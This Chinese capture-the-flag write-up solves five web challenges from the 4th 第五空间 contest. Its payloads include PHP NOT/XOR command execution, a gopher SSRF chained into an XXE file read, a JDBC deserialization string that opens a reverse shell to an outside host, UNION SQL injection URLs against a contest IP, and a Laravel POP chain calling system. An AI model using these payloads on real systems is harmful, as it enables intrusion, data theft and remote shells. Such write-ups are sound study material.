0%

第四届第五空间安全大赛

WEB

1.hate-php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 <?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}

禁用了 = 所以伪协议 拼接字符串 等方法用不了

但 取反和异或没被禁用

取反payload:

1
code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)

异或payload

1
code=(%A0%A0%A0%A0%A0%A0^%D3%D9%D3%D4%C5%CD)(%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0%A0^%C3%C1%D4%80%C6%CC%C1%C7%8E%D0%C8%D0)

异或构造脚本

2.do you know

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什么都没有~');
}
if($a_key==$b_key)
{
die("trick");
}

if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);

xxe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
#这题在上午的时候为了防止有人用webshell扫描器d,有一段时间临时过滤了system关键字,但是这个关键字在解题中是用不到的,所以才过滤它,给选手造成的不便请您谅解
#这题和命令执行无关,请勿尝试
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();
}
?>
<style>
div.main{
width:90%;
max-width:50%;
margin:0 auto;
}
textarea{
width:100%;
height:100%;
}
input[type="submit"]{
margin: 10;
}
</style>
<div class="main">
<form action="" method="POST">
<textarea name="data">
<?php
echo ($data!=false)?htmlspecialchars($data):htmlspecialchars('');
?>
</textarea><br/>
<input style="" type="submit" value="submit"/>
&nbsp;&nbsp;&nbsp;<a target="_blank" href="<?php echo basename(__FILE__).'?s';?>">View Source Code</a>
</form>
<pre>
<?php echo htmlspecialchars($resp);?>
</pre>
</div>

main.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class A
{
public $object;
public $method;
public $variable;

function __destruct()
{
$o = $this->object;
$m = $this->method;
$v = $this->variable;
$o->$m();
global $$v;
$answer = file_get_contents('flag.php');
ob_end_clean();
}
}
class B
{
function read()
{
ob_start();
global $answer;
echo $answer;
}
}
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
if (isset($_GET['‬'])) {
unserialize($_GET['‬'])->CaptureTheFlag();
} else {
die('you do not pass the misc');
}

hints.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
#there is an main.php
#“大佬,要不咱们用一个好长好长的数字的md5做通信密码吧”
#“那你给我算一个出来”
#“好的”
#
#小白打开了win10的calc,开始计算8129947191207+1992100742919
#然后他直接用鼠标复制了结果,计算md5值
#“好了大佬,10122047934126的md5值”
#“6dc6a29df1d7d33166bba5e17e42d2ea对吧”
#“哈???不是3e3e7d453061d953bce39ed3e82fd2a1吗”
#
#“咱们对一下数字?”
#‭10122047934126‬
#10122047934126
#“这不是一样的吗....咋就md5不一样了.......”
#
#找出来到底哪里出了问题,就可以看这道web题目了

根据这里hints.php的内容提示,win10的计算器鼠标直接复制后,会在数字的前后加上两个不可见的unicode字符%e2%80%ad和%e2%80%ac,在这里的unserialize($_GET['‬'])部分,测试后发现可以用%e2%80%ac=123传参内容。
到这一步按照预期应该是利用两个类的反序列化操作去想办法读取flag.txt内容了,但是其实回过头看看,xxe.php已经能够任意文件读取了不是吗?

  1. url编码绕过

    1
    $poc=$_SERVER['QUERY_STRING'];  #不会对url解码,所以直接绕过过滤

    payload

    a=%66%69%6c%65:///var/www/html/%66%6c%61%67.php&b=%66%69%6c%65:///var/www/html/%6 6%6c%61%67.php

    image-20200626110638762

  2. gopher

    SSRF 利用 gopher 模拟 POST 请求,访问 xxe.php,然后利用 xxe 来读文件

    index.php 用的过滤函数是 preg_match

    而在 xxe.php 里用的是 replace

    1
    preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data)

    那么可以直接用 双写的方式来 bypass, 类似这样:

    1
    flreadag   ==> preg_replace("/flag/i", '', $data) ==> flag

    接着xxe读取文件

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="ureadtf-8"?>
    <!DOCTYPE xe [
    <!ELEMENT name ANY >
    <!ENTITY xe SYSTEM "php://filter/rereadad=convert.base64-encode/resource=flreadag.php" >]>
    <root>
    <name>&xe;</name>
    </root>

先URL编码下,谁便POST一下获取Content-Length

image-20200626120356953

然后将data再URL编码两次(用PHP函数)

image-20200626120455719

payload

1
a=1&b=1&c=gopher://127.0.0.1:80/_POST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%2520611%250D%250A%250D%250Adata%253D%25253c%25253f%252578%25256d%25256c%252520%252576%252565%252572%252573%252569%25256f%25256e%25253d%252522%252531%25252e%252530%252522%252520%252565%25256e%252563%25256f%252564%252569%25256e%252567%25253d%252522%252575%252572%252565%252561%252564%252574%252566%25252d%252538%252522%25253f%25253e%25250a%25253c%252521%252544%25254f%252543%252554%252559%252550%252545%252520%252578%252565%252520%25255b%25250a%25253c%252521%252545%25254c%252545%25254d%252545%25254e%252554%252520%25256e%252561%25256d%252565%252520%252541%25254e%252559%252520%25253e%25250a%25253c%252521%252545%25254e%252554%252549%252554%252559%252520%252578%252565%252520%252553%252559%252553%252554%252545%25254d%252520%252522%252570%252568%252570%25253a%25252f%25252f%252566%252569%25256c%252574%252565%252572%25252f%252572%252565%252572%252565%252561%252564%252561%252564%25253d%252563%25256f%25256e%252576%252565%252572%252574%25252e%252562%252561%252573%252565%252536%252534%25252d%252565%25256e%252563%25256f%252564%252565%25252f%252572%252565%252573%25256f%252575%252572%252563%252565%25253d%252566%25256c%252572%252565%252561%252564%252561%252567%25252e%252570%252568%252570%252522%252520%25253e%25255d%25253e%25250a%25253c%252572%25256f%25256f%252574%25253e%25250a%25253c%25256e%252561%25256d%252565%25253e%252526%252578%252565%25253b%25253c%25252f%25256e%252561%25256d%252565%25253e%25250a%25253c%25252f%252572%25256f%25256f%252574%25253e

3.zzm’s blog

根据题目给的pom.xml

image-20200626132854601

和这篇文章jdbc url可以指定导致rce

先搭一个恶意的mysql服务器和JAVA序列化的工具ysoserial

image-20200626133727220

接着监听端口

image-20200626133825721

payload

1
{"id":["com.mysql.cj.jdbc.admin.MiniAdmin", "jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mICAgL2Rldi90Y3AvMS4xLjEuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"]}

image-20200626133930336

4.美团外卖

www.zip源码泄露

在daochu.php存在注入

关键代码

1
2
3
4
5
6
7
<?php
$type=$_GET['type'];
$imei=$_GET['imei'];
$imei2=$_GET['imei2'];
if($type==1){
true$biao='content';
true$result = mysqli_query($link,'select * from '.$biao.' where imei="'.$imei.'" and imei2="'.$imei2.'"');

payload

1
http://119.3.183.154/daochu.php?type=1&imei=a&imei2=b%22union%20select%201,2,3,4,5,6%23 //字段数为6

回显4,6,2, 3

image-20200627101937077

1
http://119.3.183.154/daochu.php?type=1&imei=a&imei2=b%22union%20select%201,2,3,4,5,group_concat(schema_name)%20from%20information_schema.schemata%23  //数据库名

image-20200627102635262

1
http://119.3.183.154/daochu.php?type=1&imei=a&imei2=b%22union%20select%201,2,3,4,5,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='cms'%23   //表

image-20200627102842991

1
http://119.3.183.154/daochu.php?type=1&imei=a&imei2=b%22union%20select%201,2,3,4,5,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3d'cms'%20and%20table_name%3d'hint'%23 //字段

image-20200627104512801

1
http://119.3.183.154/daochu.php?type=1&imei=a&imei2=b%22union%20select%201,2,3,4,5,group_concat(hints)%20from%20hint%23

image-20200627104803417

开始不能访问的/lib/webuploader/0.1.5/server/preview.php加上这个目录就行了,POST数据就行

image-20200627105703977

image-20200627105855419

5.laravel

./artisan -v 得到版本 Laravel Framework 5.7.28

5.7.X版本存在一个反序列化漏洞,根据文章查看源码发现 vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.phprun方法被删除了,只能找其他链子

然后根据这篇文章

根据文件对比工具

app\Http\Controllers\TaskController.php有个反序列化

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace App\Http\Controllers;
class TaskController
{
public function index(){
true if(isset($_GET['p'])){
truetrue unserialize($_GET['p']);
true }
return "There is an param names p (get)";
}
}
?>

routes\web.php

1
2
3
4
Route::get('/', function () {
return view('welcome');
});
Route::get('/index', 'TaskController@index');

POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator {
private $parent;
private $route;
public function __construct($parent) {
$this->parent = $parent;
$this->route = "cat /flag";

}

}
}
namespace Faker {
class Generator {
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}
namespace {
$a = new Faker\Generator(array("addCollection" => "system"));
$b = new
Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a);

echo urlencode(serialize($b));
}
-------------本文结束感谢您的阅读-------------